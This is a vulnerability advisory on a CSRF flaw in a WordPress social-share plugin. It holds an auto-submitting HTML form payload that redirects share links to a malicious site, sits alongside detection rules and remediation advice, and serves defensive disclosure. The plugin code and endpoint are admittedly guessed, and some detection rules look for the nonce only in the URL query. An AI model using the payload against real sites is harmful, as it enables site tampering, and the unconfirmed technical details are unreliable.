CVE-2024-34807

Executive Summary

CVE-2024-34807 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin "Fast Custom Social Share by CodeBard" (versions <= 1.1.2). This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious social share links, without their consent. The vulnerability has a CVSS score of 4.3 (Medium) and currently has no known public exploit or patch. As a WordPress ecosystem issue, it affects sites using this plugin and requires immediate attention to mitigate potential social engineering attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this CSRF to inject backdoors or redirect users to phishing sites.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – The victim must be logged in as an administrator and click a crafted link.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – Attacker can modify plugin settings.
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires user interaction, but the impact on integrity could lead to defacement or redirection of social share links.

Deep Dive & Mechanics

The vulnerability resides in the plugin's administrative interface, which fails to implement proper CSRF tokens or nonces for state-changing requests. An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, triggers a forged request to the plugin's settings endpoint. This could allow the attacker to:

• Change social share button URLs to malicious sites.
• Disable or enable specific social networks.
• Modify the plugin's appearance or behavior.

The lack of a CSRF token means the server cannot distinguish between a legitimate request from the admin and a forged one from an external source.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code likely lacks a nonce check. A typical vulnerable pattern in WordPress plugins is:

// Vulnerable: No nonce verification
if ( isset( $_POST['update_settings'] ) ) {
    update_option( 'fast_custom_social_share_settings', $_POST['settings'] );
}

A patched version would include:

// Patched: Nonce verification
if ( isset( $_POST['update_settings'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'fast_custom_social_share_nonce' ) ) {
    update_option( 'fast_custom_social_share_settings', $_POST['settings'] );
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with Fast Custom Social Share plugin <= 1.1.2.
• Victim admin must be logged in.

Exploitation Steps:

1. Craft a malicious HTML page that auto-submits a form to the plugin's settings endpoint.
2. Host the page on an attacker-controlled server.
3. Send the link to the victim via email or social engineering.
4. When the victim visits the page, the form submits, changing the plugin settings.

Example HTML Payload:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php?action=fast_custom_social_share_save" method="POST">
  <input type="hidden" name="settings[facebook_url]" value="http://malicious-site.com">
  <input type="hidden" name="settings[twitter_url]" value="http://malicious-site.com">
  <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Blue Team

Detection & Prevention:

• Monitor for unusual changes to plugin settings via audit logs.
• Implement Web Application Firewall (WAF) rules to block requests missing expected nonces.
• Educate administrators about phishing attacks targeting plugin settings.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-post.php?action=fast_custom_social_share_save without a valid _wpnonce parameter.
• File: Modified plugin settings in the wp_options table under fast_custom_social_share_settings.
• Behavior: Sudden changes to social share URLs pointing to external domains.

Detection Engineering

YARA Rule

rule detect_cve_2024_34807_csrf {
    meta:
        description = "Detects CSRF exploitation attempts against Fast Custom Social Share plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-34807"
    strings:
        $action = "fast_custom_social_share_save"
        $settings = "settings["
    condition:
        $action and $settings
}

Sigma Rule

title: CVE-2024-34807 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the Fast Custom Social Share plugin without a nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=fast_custom_social_share_save'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions if nonce is missing due to plugin bug
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-34807 CSRF Attempt - Fast Custom Social Share"; flow:to_server; content:"POST"; http_method; content:"action=fast_custom_social_share_save"; http_uri; content:!"_wpnonce"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Fast Custom Social Share plugin until a patch is released.
2. Workaround: Implement a custom CSRF token check by adding a nonce field to the plugin's settings form via a child theme or custom code.
3. Long-term: Monitor the plugin's repository for updates. If no patch is provided, consider replacing the plugin with an alternative.
4. User Education: Train administrators to avoid clicking suspicious links while logged into WordPress.

Valters IT
Securing Digital Frontiers